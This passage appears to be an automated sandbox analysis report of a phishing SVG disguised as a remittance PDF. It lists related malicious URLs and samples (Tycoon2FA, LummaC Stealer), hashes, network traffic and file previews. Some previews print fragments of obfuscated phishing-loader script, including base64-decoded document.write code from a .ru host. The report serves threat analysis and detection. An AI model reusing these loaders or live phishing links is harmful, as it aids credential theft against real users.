	https://events.trustifi.com/api/o/v1/click/67dad74fb2bfca7f680103d6/fff2f3/37054a/3dc20b/bc3eb8/514a43/16c432/a397cb/c8b81b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d2da7c/c26085/879bf6/b9ad54/7012c4/c2ddf0/f14a04/f15e41/3e8fb9/f68741/4e8474/638fa1/9fe1a5/94169e/8e265a/8c4565/9f3267/7b0314/ff3404/33714b/38592e/663c1b/a68c06/81bdb9/55f3ba/3227ca/c52e0b/b3d81e/bc87ef/3e01c3/c02f2b/c10125/292594/59440a/f95efa/c47b2d/efc862/6e4696/d1168d/15aeae/b08591/00048b/55ff70/8ef30d/c73e6f/a52719/597b28/f8c802/04d13e/1f0114/53ccda/d5b926/2701b7/b4e6e7/2cab45/4bd167/f78947/7376ee/dc5bca/d9ca29/561603/a2a34f/16b832/a0bef7/b19c1f/882ca6/785df3/b44f89/80e8cf/1476d8/0ae1f4/2fa66b/a79097/427216/4c3807/51198a#someaddress@gmail.com	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Message.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://rpc-cryptolive.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
developers.cloudflare.com	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	http://email.mg.dior.com.sg/c/eJwUy0uOhCAQANDTwJLUBwpdsJiN9ygK6CZq7Dhmzj_pA7xWBKxq8r1gjsS4AoF_l8iAiWysYzGVPNZsFoEqqg1tMPwsBJSAccHMgByi1kXYgKXnLpFchPMV2rzuYNcZfl_-KO_n-Tj-cbQ52lRqNqw9dZVFmhgYpL6mHPTY5zM_1xc62vxddBwuwn620Hb_V-g_AAD__9XhM88&	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	ATT61918.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.5.189
	ATT61918.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
cdnjs.cloudflare.com	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://events.trustifi.com/api/o/v1/click/67dad74fb2bfca7f680103d6/fff2f3/37054a/3dc20b/bc3eb8/514a43/16c432/a397cb/c8b81b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d2da7c/c26085/879bf6/b9ad54/7012c4/c2ddf0/f14a04/f15e41/3e8fb9/f68741/4e8474/638fa1/9fe1a5/94169e/8e265a/8c4565/9f3267/7b0314/ff3404/33714b/38592e/663c1b/a68c06/81bdb9/55f3ba/3227ca/c52e0b/b3d81e/bc87ef/3e01c3/c02f2b/c10125/292594/59440a/f95efa/c47b2d/efc862/6e4696/d1168d/15aeae/b08591/00048b/55ff70/8ef30d/c73e6f/a52719/597b28/f8c802/04d13e/1f0114/53ccda/d5b926/2701b7/b4e6e7/2cab45/4bd167/f78947/7376ee/dc5bca/d9ca29/561603/a2a34f/16b832/a0bef7/b19c1f/882ca6/785df3/b44f89/80e8cf/1476d8/0ae1f4/2fa66b/a79097/427216/4c3807/51198a#someaddress@gmail.com	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.24.14
	VM Transcript Caller Left (2) CALL-MSG (010758Secs) 0dca046e198529fd52f5c8ffd061f84a.msg	Get hash	malicious	Unknown	Browse	104.17.25.14
	Message.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.25.14
	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://vardhadevelco.com/365confirmation.php	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://opensea-nftpro5-eight.vercel.app	Get hash	malicious	Unknown	Browse	104.17.24.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	jkse.mpsl.elf	Get hash	malicious	Unknown	Browse	104.30.182.26
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	162.159.107.38
	kollfdsf.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.183.183
	ffffff.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.22.203.83
	Talksy (1).exe	Get hash	malicious	Meduza Stealer, RHADAMANTHYS	Browse	172.67.74.152
	http://goodtogo.com-paymentsa.xin/pay	Get hash	malicious	Unknown	Browse	104.21.112.1
FASTLYUS	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	151.101.65.195
	https://events.trustifi.com/api/o/v1/click/67dad74fb2bfca7f680103d6/fff2f3/37054a/3dc20b/bc3eb8/514a43/16c432/a397cb/c8b81b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d2da7c/c26085/879bf6/b9ad54/7012c4/c2ddf0/f14a04/f15e41/3e8fb9/f68741/4e8474/638fa1/9fe1a5/94169e/8e265a/8c4565/9f3267/7b0314/ff3404/33714b/38592e/663c1b/a68c06/81bdb9/55f3ba/3227ca/c52e0b/b3d81e/bc87ef/3e01c3/c02f2b/c10125/292594/59440a/f95efa/c47b2d/efc862/6e4696/d1168d/15aeae/b08591/00048b/55ff70/8ef30d/c73e6f/a52719/597b28/f8c802/04d13e/1f0114/53ccda/d5b926/2701b7/b4e6e7/2cab45/4bd167/f78947/7376ee/dc5bca/d9ca29/561603/a2a34f/16b832/a0bef7/b19c1f/882ca6/785df3/b44f89/80e8cf/1476d8/0ae1f4/2fa66b/a79097/427216/4c3807/51198a#someaddress@gmail.com	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	VM Transcript Caller Left (2) CALL-MSG (010758Secs) 0dca046e198529fd52f5c8ffd061f84a.msg	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://oncontact.nercon.com/crm10/api/public/runworkflow?workflow=ClickThru&profile=nercon&activityid=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3ymode=doc&drivingentityid=O7YVGH9H2E&entityname=Contact&contactid=O7YVGH9H2E&includecrmkeys=True&eventcode=CLICKSITE&redirecturl=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3y	Get hash	malicious	Unknown	Browse	151.101.129.140
	Message.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse	151.101.129.229
	Final Contract document.html	Get hash	malicious	HTMLPhisher	Browse	199.232.196.193
	https://www.villanaxamena.com	Get hash	malicious	Unknown	Browse	185.199.109.153
CLOUDFLARENETUS	jkse.mpsl.elf	Get hash	malicious	Unknown	Browse	104.30.182.26
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	162.159.107.38
	kollfdsf.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.183.183
	ffffff.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.22.203.83
	Talksy (1).exe	Get hash	malicious	Meduza Stealer, RHADAMANTHYS	Browse	172.67.74.152
	http://goodtogo.com-paymentsa.xin/pay	Get hash	malicious	Unknown	Browse	104.21.112.1
CLOUDFLARENETUS	jkse.mpsl.elf	Get hash	malicious	Unknown	Browse	104.30.182.26
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	162.159.107.38
	kollfdsf.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.183.183
	ffffff.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.22.203.83
	Talksy (1).exe	Get hash	malicious	Meduza Stealer, RHADAMANTHYS	Browse	172.67.74.152
	http://goodtogo.com-paymentsa.xin/pay	Get hash	malicious	Unknown	Browse	104.21.112.1
CLOUDFLARENETUS	jkse.mpsl.elf	Get hash	malicious	Unknown	Browse	104.30.182.26
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	162.159.107.38
	kollfdsf.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.183.183
	ffffff.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://physiciansallianceofconnecticut.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.22.203.83
	Talksy (1).exe	Get hash	malicious	Meduza Stealer, RHADAMANTHYS	Browse	172.67.74.152
	http://goodtogo.com-paymentsa.xin/pay	Get hash	malicious	Unknown	Browse	104.21.112.1

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48122)
Category:	downloaded
Size (bytes):	48123
Entropy (8bit):	5.342998089666478
Encrypted:	false
SSDEEP:	768:gCbPzVMta23aGa0rn5iWqS2kdX+iGwS3EjtCsCXY2KIEjkNY1LBep7iFFQ7XIrva:Ita2qGa0rn5Rq05GE2K9k7
MD5:	EA38BDA3C117E2FE01BD862003357394
SHA1:	767CCB3589E3067EE1B348DF2426A9E2E32CEE5C
SHA-256:	719423C7B70AC911F76D00B3AE514D108A8315EA60A80519820BE50C0E4C96EF
SHA-512:	F50FAB9DC2263F40216DF26C234AD390091F23185650E9B4E4748CF09CFEDF2D92A99FC81C986234580844393305AC2195E096DEDB64D9A25A99EF7BE510FFCA
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js
Preview:	"use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){jt(l,o,c,v,h,"next",s)}function h(s){jt(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65368)
Category:	downloaded
Size (bytes):	205563
Entropy (8bit):	4.811480336722611
Encrypted:	false
SSDEEP:	3072:Z/AEIgU89AmDLYkcJEjuU9NRw+W+/AEIgU89AmDLYkcJEjuU9NRw+W9XI:zYUjS5GYUjS59XI
MD5:	CA3AA7D532D7CB570F45DCD7EC203ECC
SHA1:	EDFCE3AD94735143A41F58275C73FD8495A5D0A0
SHA-256:	7AC2052BC38717EFD6E736911C015A8749CA5248A8400C899D7957451051E4E6
SHA-512:	2553081860FC4153B68B9979B126D1598762AF6967BFE07534201A5A62B9DC6C22180F5DE3497E23AA3D805D3BED16F5B4C44CC35E09C88D738A78B2C7123FEA
Malicious:	false
URL:	https://0m.hzusyylm.ru/zmmV/
Preview:	<script>.kGiGfBBODK = atob("aHR0cHM6Ly8wTS5oenVzeXlsbS5ydS96bW1WLw==");.ufxYXrfAFP = atob("bm9tYXRjaA==");.dUnnTLnnfh = atob("d3JpdGU=");.if(kGiGfBBODK == ufxYXrfAFP){.document[dUnnTLnnfh](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPgogICAgPHNjcmlwdD4KICAgIGNvbnN0IFV6V2J1eWh3R00gPSB7CiAgZ2V0KFNuWURrdURQS3csIFdWTGlGT3NZTG4pIHsKICAgIGNvbnN0IFNVTnhLc1ZFWVUgPSBbLi4uV1ZMaUZPc1lMbl0KICAgICAgLm1hcChGVGVLd0lBUHJTID0+ICsoJ+++oCcgPiBGVGVLd0lBUHJTKSkKICAgICAgLmpvaW4oJycpOwogICAgY29uc3QgTG9SRXpjd01QYiA9IFNVTnhLc1ZFWVUucmVwbGFjZSgvLns4fS9nLCBqSE9lVnJteEhYID0

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Static File Info

General

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	4.050960275562433
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg
File size:	2'596 bytes
MD5:	d09afc1ac90ba784908e63879266769a
SHA1:	75a852d076d3680789067d898ccd217d6230889f
SHA256:	e0083de4b8db579ccb850b83020cfe8dac880bc73a7c3c85516f0343bb7f9f4d
SHA512:	1d6e08473868a31e0717a0447f7de9361ffff59d75846c487e91f6a65e12870a8d4373d5e8f28127f61fbdd0d7d754b29667fecb006256b0923ef815edea4f7a
SSDEEP:	48:ckP2kN7hgPU8NCLpf5/1ZNTP/1dljZdV/VxDdDp/HP1/VpTRDdDLPnV9TTHfLDhC:YUDLphpX173xDtNHP1jTRDtLPvTTHzz4
TLSH:	5E51C6163E4B9A0304DEDA67FB625C76D31BDDE79EB4592F70800585D530A70C09ED74
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">..<script>..<![CDATA[..xMNnQQojwwranh = "#Maccounting@firstar-bank.com";..class guMZzo { constructor({ BBjwnA, LXJyzB }) { this.BBjwnA

File Icon


Icon Hash:	173149cccc490307

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 242
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 20:28:11.096952915 CET	49682	80	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:11.409100056 CET	49682	80	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:12.022146940 CET	49682	80	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:13.227277994 CET	49682	80	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:15.635194063 CET	49682	80	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:16.377181053 CET	49680	443	192.168.2.18	20.189.173.7
Mar 19, 2025 20:28:17.770538092 CET	49671	443	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:19.696223974 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.696257114 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.696336031 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.696604967 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.696635962 CET	443	49715	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.696690083 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.696738005 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.696758986 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.696860075 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.696872950 CET	443	49715	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.894387960 CET	443	49714	172.67.157.189	192.168.2.18
